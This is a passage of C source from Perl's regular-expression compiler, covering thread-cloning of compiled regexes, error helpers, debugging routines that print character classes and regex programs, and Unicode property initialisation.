if (ret->check_utf8) { if (anchored) { ret->check_utf8 = ret->substrs->data[0].utf8_substr; } else { ret->check_utf8 = ret->substrs->data[1].utf8_substr; } } } RXp_PAREN_NAMES(ret) = hv_dup_inc(RXp_PAREN_NAMES(ret), param); ret->qr_anoncv = MUTABLE_CV(sv_dup_inc((const SV *)ret->qr_anoncv, param)); if (r->recurse_locinput) Newx(ret->recurse_locinput, r->nparens + 1, char *); if (ret->pprivate) RXi_SET(ret, CALLREGDUPE_PVT(dstr, param)); if (RX_MATCH_COPIED(dstr)) ret->subbeg = SAVEPVN(ret->subbeg, ret->sublen); else ret->subbeg = NULL; #ifdef PERL_ANY_COW ret->saved_copy = NULL; #endif /* Whether mother_re be set or no, we need to copy the string. We cannot refrain from copying it when the storage points directly to our mother regexp, because that's 1: a buffer in a different thread 2: something we no longer hold a reference on so we need to copy it locally. */ RX_WRAPPED(dstr) = SAVEPVN(RX_WRAPPED_const(sstr), SvCUR(sstr)+1); /* set malloced length to a non-zero value so it will be freed * (otherwise in combination with SVf_FAKE it looks like an alien * buffer). It doesn't have to be the actual malloced size, since it * should never be grown */ SvLEN_set(dstr, SvCUR(sstr)+1); ret->mother_re = NULL; } #endif /* PERL_IN_XSUB_RE */ /* regdupe_internal() This is the internal complement to regdupe() which is used to copy the structure pointed to by the *pprivate pointer in the regexp. This is the core version of the extension overridable cloning hook. The regexp structure being duplicated will be copied by perl prior to this and will be provided as the regexp *r argument, however with the /old/ structures pprivate pointer value. Thus this routine may override any copying normally done by perl. It returns a pointer to the new regexp_internal structure. */ void * Perl_regdupe_internal(pTHX_ REGEXP * const rx, CLONE_PARAMS *param) { dVAR; struct regexp *const r = ReANY(rx); regexp_internal *reti; int len; RXi_GET_DECL(r, ri); PERL_ARGS_ASSERT_REGDUPE_INTERNAL; len = ProgLen(ri); Newxc(reti, sizeof(regexp_internal) + len*sizeof(regnode), char, regexp_internal); Copy(ri->program, reti->program, len+1, regnode); if (ri->code_blocks) { int n; Newx(reti->code_blocks, 1, struct reg_code_blocks); Newx(reti->code_blocks->cb, ri->code_blocks->count, struct reg_code_block); Copy(ri->code_blocks->cb, reti->code_blocks->cb, ri->code_blocks->count, struct reg_code_block); for (n = 0; n < ri->code_blocks->count; n++) reti->code_blocks->cb[n].src_regex = (REGEXP*) sv_dup_inc((SV*)(ri->code_blocks->cb[n].src_regex), param); reti->code_blocks->count = ri->code_blocks->count; reti->code_blocks->refcnt = 1; } else reti->code_blocks = NULL; reti->regstclass = NULL; if (ri->data) { struct reg_data *d; const int count = ri->data->count; int i; Newxc(d, sizeof(struct reg_data) + count*sizeof(void *), char, struct reg_data); Newx(d->what, count, U8); d->count = count; for (i = 0; i < count; i++) { d->what[i] = ri->data->what[i]; switch (d->what[i]) { /* see also regcomp.h and regfree_internal() */ case 'a': /* actually an AV, but the dup function is identical. values seem to be "plain sv's" generally. */ case 'r': /* a compiled regex (but still just another SV) */ case 's': /* an RV (currently only used for an RV to an AV by the ANYOF code) this use case should go away, the code could have used 'a' instead - see S_set_ANYOF_arg() for array contents. */ case 'S': /* actually an SV, but the dup function is identical. */ case 'u': /* actually an HV, but the dup function is identical. values are "plain sv's" */ d->data[i] = sv_dup_inc((const SV *)ri->data->data[i], param); break; case 'f': /* Synthetic Start Class - "Fake" charclass we generate to optimize * patterns which could start with several different things. Pre-TRIE * this was more important than it is now, however this still helps * in some places, for instance /x?a+/ might produce a SSC equivalent * to [xa]. This is used by Perl_re_intuit_start() and S_find_byclass() * in regexec.c */ /* This is cheating. */ Newx(d->data[i], 1, regnode_ssc); StructCopy(ri->data->data[i], d->data[i], regnode_ssc); reti->regstclass = (regnode*)d->data[i]; break; case 'T': /* AHO-CORASICK fail table */ /* Trie stclasses are readonly and can thus be shared * without duplication. We free the stclass in pregfree * when the corresponding reg_ac_data struct is freed. */ reti->regstclass= ri->regstclass; /* FALLTHROUGH */ case 't': /* TRIE transition table */ OP_REFCNT_LOCK; ((reg_trie_data*)ri->data->data[i])->refcount++; OP_REFCNT_UNLOCK; /* FALLTHROUGH */ case 'l': /* (?{...}) or (??{ ... }) code (cb->block) */ case 'L': /* same when RExC_pm_flags & PMf_HAS_CV and code is not from another regexp */ d->data[i] = ri->data->data[i]; break; default: Perl_croak(aTHX_ "panic: re_dup_guts unknown data code '%c'", ri->data->what[i]); } } reti->data = d; } else reti->data = NULL; reti->name_list_idx = ri->name_list_idx; #ifdef RE_TRACK_PATTERN_OFFSETS if (ri->u.offsets) { Newx(reti->u.offsets, 2*len+1, U32); Copy(ri->u.offsets, reti->u.offsets, 2*len+1, U32); } #else SetProgLen(reti, len); #endif return (void*)reti; } #endif /* USE_ITHREADS */ #ifndef PERL_IN_XSUB_RE /* - regnext - dig the "next" pointer out of a node */ regnode * Perl_regnext(pTHX_ regnode *p) { I32 offset; if (!p) return(NULL); if (OP(p) > REGNODE_MAX) { /* regnode.type is unsigned */ Perl_croak(aTHX_ "Corrupted regexp opcode %d > %d", (int)OP(p), (int)REGNODE_MAX); } offset = (reg_off_by_arg[OP(p)] ? ARG(p) : NEXT_OFF(p)); if (offset == 0) return(NULL); return(p+offset); } #endif STATIC void S_re_croak2(pTHX_ bool utf8, const char* pat1, const char* pat2,...) { va_list args; STRLEN l1 = strlen(pat1); STRLEN l2 = strlen(pat2); char buf[512]; SV *msv; const char *message; PERL_ARGS_ASSERT_RE_CROAK2; if (l1 > 510) l1 = 510; if (l1 + l2 > 510) l2 = 510 - l1; Copy(pat1, buf, l1 , char); Copy(pat2, buf + l1, l2 , char); buf[l1 + l2] = '\n'; buf[l1 + l2 + 1] = '\0'; va_start(args, pat2); msv = vmess(buf, &args); va_end(args); message = SvPV_const(msv, l1); if (l1 > 512) l1 = 512; Copy(message, buf, l1 , char); /* l1-1 to avoid \n */ Perl_croak(aTHX_ "%" UTF8f, UTF8fARG(utf8, l1-1, buf)); } /* XXX Here's a total kludge. But we need to re-enter for swash routines. */ #ifndef PERL_IN_XSUB_RE void Perl_save_re_context(pTHX) { I32 nparens = -1; I32 i; /* Save $1..$n (#18107: UTF-8 s/(\w+)/uc($1)/e); AMS 20021106. */ if (PL_curpm) { const REGEXP * const rx = PM_GETRE(PL_curpm); if (rx) nparens = RX_NPARENS(rx); } /* RT #124109. This is a complete hack; in the SWASHNEW case we know * that PL_curpm will be null, but that utf8.pm and the modules it * loads will only use $1..$3. * The t/porting/re_context.t test file checks this assumption. */ if (nparens == -1) nparens = 3; for (i = 1; i <= nparens; i++) { char digits[TYPE_CHARS(long)]; const STRLEN len = my_snprintf(digits, sizeof(digits), "%lu", (long)i); GV *const *const gvp = (GV**)hv_fetch(PL_defstash, digits, len, 0); if (gvp) { GV * const gv = *gvp; if (SvTYPE(gv) == SVt_PVGV && GvSV(gv)) save_scalar(gv); } } } #endif #ifdef DEBUGGING STATIC void S_put_code_point(pTHX_ SV *sv, UV c) { PERL_ARGS_ASSERT_PUT_CODE_POINT; if (c > 255) { Perl_sv_catpvf(aTHX_ sv, "\\x{%04" UVXf "}", c); } else if (isPRINT(c)) { const char string = (char) c; /* We use {phrase} as metanotation in the class, so also escape literal * braces */ if (isBACKSLASHED_PUNCT(c) || c == '{' || c == '}') sv_catpvs(sv, "\\"); sv_catpvn(sv, &string, 1); } else if (isMNEMONIC_CNTRL(c)) { Perl_sv_catpvf(aTHX_ sv, "%s", cntrl_to_mnemonic((U8) c)); } else { Perl_sv_catpvf(aTHX_ sv, "\\x%02X", (U8) c); } } #define MAX_PRINT_A MAX_PRINT_A_FOR_USE_ONLY_BY_REGCOMP_DOT_C STATIC void S_put_range(pTHX_ SV *sv, UV start, const UV end, const bool allow_literals) { /* Appends to 'sv' a displayable version of the range of code points from * 'start' to 'end'. Mnemonics (like '\r') are used for the few controls * that have them, when they occur at the beginning or end of the range. * It uses hex to output the remaining code points, unless 'allow_literals' * is true, in which case the printable ASCII ones are output as-is (though * some of these will be escaped by put_code_point()). * * NOTE: This is designed only for printing ranges of code points that fit * inside an ANYOF bitmap. Higher code points are simply suppressed */ const unsigned int min_range_count = 3; assert(start <= end); PERL_ARGS_ASSERT_PUT_RANGE; while (start <= end) { UV this_end; const char * format; if (end - start < min_range_count) { /* Output chars individually when they occur in short ranges */ for (; start <= end; start++) { put_code_point(sv, start); } break; } /* If permitted by the input options, and there is a possibility that * this range contains a printable literal, look to see if there is * one. */ if (allow_literals && start <= MAX_PRINT_A) { /* If the character at the beginning of the range isn't an ASCII * printable, effectively split the range into two parts: * 1) the portion before the first such printable, * 2) the rest * and output them separately. */ if (! isPRINT_A(start)) { UV temp_end = start + 1; /* There is no point looking beyond the final possible * printable, in MAX_PRINT_A */ UV max = MIN(end, MAX_PRINT_A); while (temp_end <= max && ! isPRINT_A(temp_end)) { temp_end++; } /* Here, temp_end points to one beyond the first printable if * found, or to one beyond 'max' if not. If none found, make * sure that we use the entire range */ if (temp_end > MAX_PRINT_A) { temp_end = end + 1; } /* Output the first part of the split range: the part that * doesn't have printables, with the parameter set to not look * for literals (otherwise we would infinitely recurse) */ put_range(sv, start, temp_end - 1, FALSE); /* The 2nd part of the range (if any) starts here. */ start = temp_end; /* We do a continue, instead of dropping down, because even if * the 2nd part is non-empty, it could be so short that we want * to output it as individual characters, as tested for at the * top of this loop. */ continue; } /* Here, 'start' is a printable ASCII. If it is an alphanumeric, * output a sub-range of just the digits or letters, then process * the remaining portion as usual. */ if (isALPHANUMERIC_A(start)) { UV mask = (isDIGIT_A(start)) ? _CC_DIGIT : isUPPER_A(start) ? _CC_UPPER : _CC_LOWER; UV temp_end = start + 1; /* Find the end of the sub-range that includes just the * characters in the same class as the first character in it */ while (temp_end <= end && _generic_isCC_A(temp_end, mask)) { temp_end++; } temp_end--; /* For short ranges, don't duplicate the code above to output * them; just call recursively */ if (temp_end - start < min_range_count) { put_range(sv, start, temp_end, FALSE); } else { /* Output as a range */ put_code_point(sv, start); sv_catpvs(sv, "-"); put_code_point(sv, temp_end); } start = temp_end + 1; continue; } /* We output any other printables as individual characters */ if (isPUNCT_A(start) || isSPACE_A(start)) { while (start <= end && (isPUNCT_A(start) || isSPACE_A(start))) { put_code_point(sv, start); start++; } continue; } } /* End of looking for literals */ /* Here is not to output as a literal. Some control characters have * mnemonic names. Split off any of those at the beginning and end of * the range to print mnemonically. It isn't possible for many of * these to be in a row, so this won't overwhelm with output */ if ( start <= end && (isMNEMONIC_CNTRL(start) || isMNEMONIC_CNTRL(end))) { while (isMNEMONIC_CNTRL(start) && start <= end) { put_code_point(sv, start); start++; } /* If this didn't take care of the whole range ... */ if (start <= end) { /* Look backwards from the end to find the final non-mnemonic * */ UV temp_end = end; while (isMNEMONIC_CNTRL(temp_end)) { temp_end--; } /* And separately output the interior range that doesn't start * or end with mnemonics */ put_range(sv, start, temp_end, FALSE); /* Then output the mnemonic trailing controls */ start = temp_end + 1; while (start <= end) { put_code_point(sv, start); start++; } break; } } /* As a final resort, output the range or subrange as hex. */ this_end = (end < NUM_ANYOF_CODE_POINTS) ? end : NUM_ANYOF_CODE_POINTS - 1; #if NUM_ANYOF_CODE_POINTS > 256 format = (this_end < 256) ? "\\x%02" UVXf "-\\x%02" UVXf : "\\x{%04" UVXf "}-\\x{%04" UVXf "}"; #else format = "\\x%02" UVXf "-\\x%02" UVXf; #endif GCC_DIAG_IGNORE_STMT(-Wformat-nonliteral); Perl_sv_catpvf(aTHX_ sv, format, start, this_end); GCC_DIAG_RESTORE_STMT; break; } } STATIC void S_put_charclass_bitmap_innards_invlist(pTHX_ SV *sv, SV* invlist) { /* Concatenate onto the PV in 'sv' a displayable form of the inversion list * 'invlist' */ UV start, end; bool allow_literals = TRUE; PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS_INVLIST; /* Generally, it is more readable if printable characters are output as * literals, but if a range (nearly) spans all of them, it's best to output * it as a single range. This code will use a single range if all but 2 * ASCII printables are in it */ invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { /* If the range starts beyond the final printable, it doesn't have any * in it */ if (start > MAX_PRINT_A) { break; } /* In both ASCII and EBCDIC, a SPACE is the lowest printable. To span * all but two, the range must start and end no later than 2 from * either end */ if (start < ' ' + 2 && end > MAX_PRINT_A - 2) { if (end > MAX_PRINT_A) { end = MAX_PRINT_A; } if (start < ' ') { start = ' '; } if (end - start >= MAX_PRINT_A - ' ' - 2) { allow_literals = FALSE; } break; } } invlist_iterfinish(invlist); /* Here we have figured things out. Output each range */ invlist_iterinit(invlist); while (invlist_iternext(invlist, &start, &end)) { if (start >= NUM_ANYOF_CODE_POINTS) { break; } put_range(sv, start, end, allow_literals); } invlist_iterfinish(invlist); return; } STATIC SV* S_put_charclass_bitmap_innards_common(pTHX_ SV* invlist, /* The bitmap */ SV* posixes, /* Under /l, things like [:word:], \S */ SV* only_utf8, /* Under /d, matches iff the target is UTF-8 */ SV* not_utf8, /* /d, matches iff the target isn't UTF-8 */ SV* only_utf8_locale, /* Under /l, matches if the locale is UTF-8 */ const bool invert /* Is the result to be inverted? */ ) { /* Create and return an SV containing a displayable version of the bitmap * and associated information determined by the input parameters. If the * output would have been only the inversion indicator '^', NULL is instead * returned. */ dVAR; SV * output; PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS_COMMON; if (invert) { output = newSVpvs("^"); } else { output = newSVpvs(""); } /* First, the code points in the bitmap that are unconditionally there */ put_charclass_bitmap_innards_invlist(output, invlist); /* Traditionally, these have been placed after the main code points */ if (posixes) { sv_catsv(output, posixes); } if (only_utf8 && _invlist_len(only_utf8)) { Perl_sv_catpvf(aTHX_ output, "%s{utf8}%s", PL_colors[1], PL_colors[0]); put_charclass_bitmap_innards_invlist(output, only_utf8); } if (not_utf8 && _invlist_len(not_utf8)) { Perl_sv_catpvf(aTHX_ output, "%s{not utf8}%s", PL_colors[1], PL_colors[0]); put_charclass_bitmap_innards_invlist(output, not_utf8); } if (only_utf8_locale && _invlist_len(only_utf8_locale)) { Perl_sv_catpvf(aTHX_ output, "%s{utf8 locale}%s", PL_colors[1], PL_colors[0]); put_charclass_bitmap_innards_invlist(output, only_utf8_locale); /* This is the only list in this routine that can legally contain code * points outside the bitmap range. The call just above to * 'put_charclass_bitmap_innards_invlist' will simply suppress them, so * output them here. There's about a half-dozen possible, and none in * contiguous ranges longer than 2 */ if (invlist_highest(only_utf8_locale) >= NUM_ANYOF_CODE_POINTS) { UV start, end; SV* above_bitmap = NULL; _invlist_subtract(only_utf8_locale, PL_InBitmap, &above_bitmap); invlist_iterinit(above_bitmap); while (invlist_iternext(above_bitmap, &start, &end)) { UV i; for (i = start; i <= end; i++) { put_code_point(output, i); } } invlist_iterfinish(above_bitmap); SvREFCNT_dec_NN(above_bitmap); } } if (invert && SvCUR(output) == 1) { return NULL; } return output; } STATIC bool S_put_charclass_bitmap_innards(pTHX_ SV *sv, char *bitmap, SV *nonbitmap_invlist, SV *only_utf8_locale_invlist, const regnode * const node, const bool force_as_is_display) { /* Appends to 'sv' a displayable version of the innards of the bracketed * character class defined by the other arguments: * 'bitmap' points to the bitmap, or NULL if to ignore that. * 'nonbitmap_invlist' is an inversion list of the code points that are in * the bitmap range, but for some reason aren't in the bitmap; NULL if * none. The reasons for this could be that they require some * condition such as the target string being or not being in UTF-8 * (under /d), or because they came from a user-defined property that * was not resolved at the time of the regex compilation (under /u) * 'only_utf8_locale_invlist' is an inversion list of the code points that * are valid only if the runtime locale is a UTF-8 one; NULL if none * 'node' is the regex pattern ANYOF node. It is needed only when the * above two parameters are not null, and is passed so that this * routine can tease apart the various reasons for them. * 'force_as_is_display' is TRUE if this routine should definitely NOT try * to invert things to see if that leads to a cleaner display. If * FALSE, this routine is free to use its judgment about doing this. * * It returns TRUE if there was actually something output. (It may be that * the bitmap, etc is empty.) * * When called for outputting the bitmap of a non-ANYOF node, just pass the * bitmap, with the succeeding parameters set to NULL, and the final one to * FALSE. */ /* In general, it tries to display the 'cleanest' representation of the * innards, choosing whether to display them inverted or not, regardless of * whether the class itself is to be inverted. However, there are some * cases where it can't try inverting, as what actually matches isn't known * until runtime, and hence the inversion isn't either. */ dVAR; bool inverting_allowed = ! force_as_is_display; int i; STRLEN orig_sv_cur = SvCUR(sv); SV* invlist; /* Inversion list we accumulate of code points that are unconditionally matched */ SV* only_utf8 = NULL; /* Under /d, list of matches iff the target is UTF-8 */ SV* not_utf8 = NULL; /* /d, list of matches iff the target isn't UTF-8 */ SV* posixes = NULL; /* Under /l, string of things like [:word:], \D */ SV* only_utf8_locale = NULL; /* Under /l, list of matches if the locale is UTF-8 */ SV* as_is_display; /* The output string when we take the inputs literally */ SV* inverted_display; /* The output string when we invert the inputs */ U8 flags = (node) ? ANYOF_FLAGS(node) : 0; bool invert = cBOOL(flags & ANYOF_INVERT); /* Is the input to be inverted to match? */ /* We are biased in favor of displaying things without them being inverted, * as that is generally easier to understand */ const int bias = 5; PERL_ARGS_ASSERT_PUT_CHARCLASS_BITMAP_INNARDS; /* Start off with whatever code points are passed in. (We clone, so we * don't change the caller's list) */ if (nonbitmap_invlist) { assert(invlist_highest(nonbitmap_invlist) < NUM_ANYOF_CODE_POINTS); invlist = invlist_clone(nonbitmap_invlist, NULL); } else { /* Worst case size is every other code point is matched */ invlist = _new_invlist(NUM_ANYOF_CODE_POINTS / 2); } if (flags) { if (OP(node) == ANYOFD) { /* This flag indicates that the code points below 0x100 in the * nonbitmap list are precisely the ones that match only when the * target is UTF-8 (they should all be non-ASCII). */ if (flags & ANYOF_SHARED_d_UPPER_LATIN1_UTF8_STRING_MATCHES_non_d_RUNTIME_USER_PROP) { _invlist_intersection(invlist, PL_UpperLatin1, &only_utf8); _invlist_subtract(invlist, only_utf8, &invlist); } /* And this flag for matching all non-ASCII 0xFF and below */ if (flags & ANYOF_SHARED_d_MATCHES_ALL_NON_UTF8_NON_ASCII_non_d_WARN_SUPER) { not_utf8 = invlist_clone(PL_UpperLatin1, NULL); } } else if (OP(node) == ANYOFL || OP(node) == ANYOFPOSIXL) { /* If either of these flags are set, what matches isn't * determinable except during execution, so don't know enough here * to invert */ if (flags & (ANYOFL_FOLD|ANYOF_MATCHES_POSIXL)) { inverting_allowed = FALSE; } /* What the posix classes match also varies at runtime, so these * will be output symbolically. */ if (ANYOF_POSIXL_TEST_ANY_SET(node)) { int i; posixes = newSVpvs(""); for (i = 0; i < ANYOF_POSIXL_MAX; i++) { if (ANYOF_POSIXL_TEST(node, i)) { sv_catpv(posixes, anyofs[i]); } } } } } /* Accumulate the bit map into the unconditional match list */ if (bitmap) { for (i = 0; i < NUM_ANYOF_CODE_POINTS; i++) { if (BITMAP_TEST(bitmap, i)) { int start = i++; for (; i < NUM_ANYOF_CODE_POINTS && BITMAP_TEST(bitmap, i); i++) { /* empty */ } invlist = _add_range_to_invlist(invlist, start, i-1); } } } /* Make sure that the conditional match lists don't have anything in them * that match unconditionally; otherwise the output is quite confusing. * This could happen if the code that populates these misses some * duplication. */ if (only_utf8) { _invlist_subtract(only_utf8, invlist, &only_utf8); } if (not_utf8) { _invlist_subtract(not_utf8, invlist, &not_utf8); } if (only_utf8_locale_invlist) { /* Since this list is passed in, we have to make a copy before * modifying it */ only_utf8_locale = invlist_clone(only_utf8_locale_invlist, NULL); _invlist_subtract(only_utf8_locale, invlist, &only_utf8_locale); /* And, it can get really weird for us to try outputting an inverted * form of this list when it has things above the bitmap, so don't even * try */ if (invlist_highest(only_utf8_locale) >= NUM_ANYOF_CODE_POINTS) { inverting_allowed = FALSE; } } /* Calculate what the output would be if we take the input as-is */ as_is_display = put_charclass_bitmap_innards_common(invlist, posixes, only_utf8, not_utf8, only_utf8_locale, invert); /* If have to take the output as-is, just do that */ if (! inverting_allowed) { if (as_is_display) { sv_catsv(sv, as_is_display); SvREFCNT_dec_NN(as_is_display); } } else { /* But otherwise, create the output again on the inverted input, and use whichever version is shorter */ int inverted_bias, as_is_bias; /* We will apply our bias to whichever of the the results doesn't have * the '^' */ if (invert) { invert = FALSE; as_is_bias = bias; inverted_bias = 0; } else { invert = TRUE; as_is_bias = 0; inverted_bias = bias; } /* Now invert each of the lists that contribute to the output, * excluding from the result things outside the possible range */ /* For the unconditional inversion list, we have to add in all the * conditional code points, so that when inverted, they will be gone * from it */ _invlist_union(only_utf8, invlist, &invlist); _invlist_union(not_utf8, invlist, &invlist); _invlist_union(only_utf8_locale, invlist, &invlist); _invlist_invert(invlist); _invlist_intersection(invlist, PL_InBitmap, &invlist); if (only_utf8) { _invlist_invert(only_utf8); _invlist_intersection(only_utf8, PL_UpperLatin1, &only_utf8); } else if (not_utf8) { /* If a code point matches iff the target string is not in UTF-8, * then complementing the result has it not match iff not in UTF-8, * which is the same thing as matching iff it is UTF-8. */ only_utf8 = not_utf8; not_utf8 = NULL; } if (only_utf8_locale) { _invlist_invert(only_utf8_locale); _invlist_intersection(only_utf8_locale, PL_InBitmap, &only_utf8_locale); } inverted_display = put_charclass_bitmap_innards_common( invlist, posixes, only_utf8, not_utf8, only_utf8_locale, invert); /* Use the shortest representation, taking into account our bias * against showing it inverted */ if ( inverted_display && ( ! as_is_display || ( SvCUR(inverted_display) + inverted_bias < SvCUR(as_is_display) + as_is_bias))) { sv_catsv(sv, inverted_display); } else if (as_is_display) { sv_catsv(sv, as_is_display); } SvREFCNT_dec(as_is_display); SvREFCNT_dec(inverted_display); } SvREFCNT_dec_NN(invlist); SvREFCNT_dec(only_utf8); SvREFCNT_dec(not_utf8); SvREFCNT_dec(posixes); SvREFCNT_dec(only_utf8_locale); return SvCUR(sv) > orig_sv_cur; } #define CLEAR_OPTSTART \ if (optstart) STMT_START { \ DEBUG_OPTIMISE_r(Perl_re_printf( aTHX_ \ " (%" IVdf " nodes)\n", (IV)(node - optstart))); \ optstart=NULL; \ } STMT_END #define DUMPUNTIL(b,e) \ CLEAR_OPTSTART; \ node=dumpuntil(r,start,(b),(e),last,sv,indent+1,depth+1); STATIC const regnode * S_dumpuntil(pTHX_ const regexp *r, const regnode *start, const regnode *node, const regnode *last, const regnode *plast, SV* sv, I32 indent, U32 depth) { U8 op = PSEUDO; /* Arbitrary non-END op. */ const regnode *next; const regnode *optstart= NULL; RXi_GET_DECL(r, ri); GET_RE_DEBUG_FLAGS_DECL; PERL_ARGS_ASSERT_DUMPUNTIL; #ifdef DEBUG_DUMPUNTIL Perl_re_printf( aTHX_ "--- %d : %d - %d - %d\n", indent, node-start, last ? last-start : 0, plast ? plast-start : 0); #endif if (plast && plast < last) last= plast; while (PL_regkind[op] != END && (!last || node < last)) { assert(node); /* While that wasn't END last time... */ NODE_ALIGN(node); op = OP(node); if (op == CLOSE || op == SRCLOSE || op == WHILEM) indent--; next = regnext((regnode *)node); /* Where, what. */ if (OP(node) == OPTIMIZED) { if (!optstart && RE_DEBUG_FLAG(RE_DEBUG_COMPILE_OPTIMISE)) optstart = node; else goto after_print; } else CLEAR_OPTSTART; regprop(r, sv, node, NULL, NULL); Perl_re_printf( aTHX_ "%4" IVdf ":%*s%s", (IV)(node - start), (int)(2*indent + 1), "", SvPVX_const(sv)); if (OP(node) != OPTIMIZED) { if (next == NULL) /* Next ptr. */ Perl_re_printf( aTHX_ " (0)"); else if (PL_regkind[(U8)op] == BRANCH && PL_regkind[OP(next)] != BRANCH ) Perl_re_printf( aTHX_ " (FAIL)"); else Perl_re_printf( aTHX_ " (%" IVdf ")", (IV)(next - start)); Perl_re_printf( aTHX_ "\n"); } after_print: if (PL_regkind[(U8)op] == BRANCHJ) { assert(next); { const regnode *nnode = (OP(next) == LONGJMP ? regnext((regnode *)next) : next); if (last && nnode > last) nnode = last; DUMPUNTIL(NEXTOPER(NEXTOPER(node)), nnode); } } else if (PL_regkind[(U8)op] == BRANCH) { assert(next); DUMPUNTIL(NEXTOPER(node), next); } else if ( PL_regkind[(U8)op] == TRIE ) { const regnode *this_trie = node; const char op = OP(node); const U32 n = ARG(node); const reg_ac_data * const ac = op>=AHOCORASICK ? (reg_ac_data *)ri->data->data[n] : NULL; const reg_trie_data * const trie = (reg_trie_data*)ri->data->data[op<AHOCORASICK ? n : ac->trie]; #ifdef DEBUGGING AV *const trie_words = MUTABLE_AV(ri->data->data[n + TRIE_WORDS_OFFSET]); #endif const regnode *nextbranch= NULL; I32 word_idx; SvPVCLEAR(sv); for (word_idx= 0; word_idx < (I32)trie->wordcount; word_idx++) { SV ** const elem_ptr = av_fetch(trie_words, word_idx, 0); Perl_re_indentf( aTHX_ "%s ", indent+3, elem_ptr ? pv_pretty(sv, SvPV_nolen_const(*elem_ptr), SvCUR(*elem_ptr), PL_dump_re_max_len, PL_colors[0], PL_colors[1], (SvUTF8(*elem_ptr) ? PERL_PV_ESCAPE_UNI : 0) | PERL_PV_PRETTY_ELLIPSES | PERL_PV_PRETTY_LTGT ) : "???" ); if (trie->jump) { U16 dist= trie->jump[word_idx+1]; Perl_re_printf( aTHX_ "(%" UVuf ")\n", (UV)((dist ? this_trie + dist : next) - start)); if (dist) { if (!nextbranch) nextbranch= this_trie + trie->jump[0]; DUMPUNTIL(this_trie + dist, nextbranch); } if (nextbranch && PL_regkind[OP(nextbranch)]==BRANCH) nextbranch= regnext((regnode *)nextbranch); } else { Perl_re_printf( aTHX_ "\n"); } } if (last && next > last) node= last; else node= next; } else if ( op == CURLY ) { /* "next" might be very big: optimizer */ DUMPUNTIL(NEXTOPER(node) + EXTRA_STEP_2ARGS, NEXTOPER(node) + EXTRA_STEP_2ARGS + 1); } else if (PL_regkind[(U8)op] == CURLY && op != CURLYX) { assert(next); DUMPUNTIL(NEXTOPER(node) + EXTRA_STEP_2ARGS, next); } else if ( op == PLUS || op == STAR) { DUMPUNTIL(NEXTOPER(node), NEXTOPER(node) + 1); } else if (PL_regkind[(U8)op] == EXACT) { /* Literal string, where present. */ node += NODE_SZ_STR(node) - 1; node = NEXTOPER(node); } else { node = NEXTOPER(node); node += regarglen[(U8)op]; } if (op == CURLYX || op == OPEN || op == SROPEN) indent++; } CLEAR_OPTSTART; #ifdef DEBUG_DUMPUNTIL Perl_re_printf( aTHX_ "--- %d\n", (int)indent); #endif return node; } #endif /* DEBUGGING */ #ifndef PERL_IN_XSUB_RE #include "uni_keywords.h" void Perl_init_uniprops(pTHX) { dVAR; PL_user_def_props = newHV(); #ifdef USE_ITHREADS HvSHAREKEYS_off(PL_user_def_props); PL_user_def_props_aTHX = aTHX; #endif /* Set up the inversion list global variables */ PL_XPosix_ptrs[_CC_ASCII] = _new_invlist_C_array(uni_prop_ptrs[UNI_ASCII]); PL_XPosix_ptrs[_CC_ALPHANUMERIC] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXALNUM]); PL_XPosix_ptrs[_CC_ALPHA] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXALPHA]); PL_XPosix_ptrs[_CC_BLANK] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXBLANK]); PL_XPosix_ptrs[_CC_CASED] = _new_invlist_C_array(uni_prop_ptrs[UNI_CASED]); PL_XPosix_ptrs[_CC_CNTRL] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXCNTRL]); PL_XPosix_ptrs[_CC_DIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXDIGIT]); PL_XPosix_ptrs[_CC_GRAPH] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXGRAPH]); PL_XPosix_ptrs[_CC_LOWER] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXLOWER]); PL_XPosix_ptrs[_CC_PRINT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXPRINT]); PL_XPosix_ptrs[_CC_PUNCT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXPUNCT]); PL_XPosix_ptrs[_CC_SPACE] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXSPACE]); PL_XPosix_ptrs[_CC_UPPER] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXUPPER]); PL_XPosix_ptrs[_CC_VERTSPACE] = _new_invlist_C_array(uni_prop_ptrs[UNI_VERTSPACE]); PL_XPosix_ptrs[_CC_WORDCHAR] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXWORD]); PL_XPosix_ptrs[_CC_XDIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_XPOSIXXDIGIT]); PL_Posix_ptrs[_CC_ASCII] = _new_invlist_C_array(uni_prop_ptrs[UNI_ASCII]); PL_Posix_ptrs[_CC_ALPHANUMERIC] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXALNUM]); PL_Posix_ptrs[_CC_ALPHA] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXALPHA]); PL_Posix_ptrs[_CC_BLANK] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXBLANK]); PL_Posix_ptrs[_CC_CASED] = PL_Posix_ptrs[_CC_ALPHA]; PL_Posix_ptrs[_CC_CNTRL] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXCNTRL]); PL_Posix_ptrs[_CC_DIGIT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXDIGIT]); PL_Posix_ptrs[_CC_GRAPH] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXGRAPH]); PL_Posix_ptrs[_CC_LOWER] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXLOWER]); PL_Posix_ptrs[_CC_PRINT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXPRINT]); PL_Posix_ptrs[_CC_PUNCT] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXPUNCT]); PL_Posix_ptrs[_CC_SPACE] = _new_invlist_C_array(uni_prop_ptrs[UNI_POSIXSPACE]); 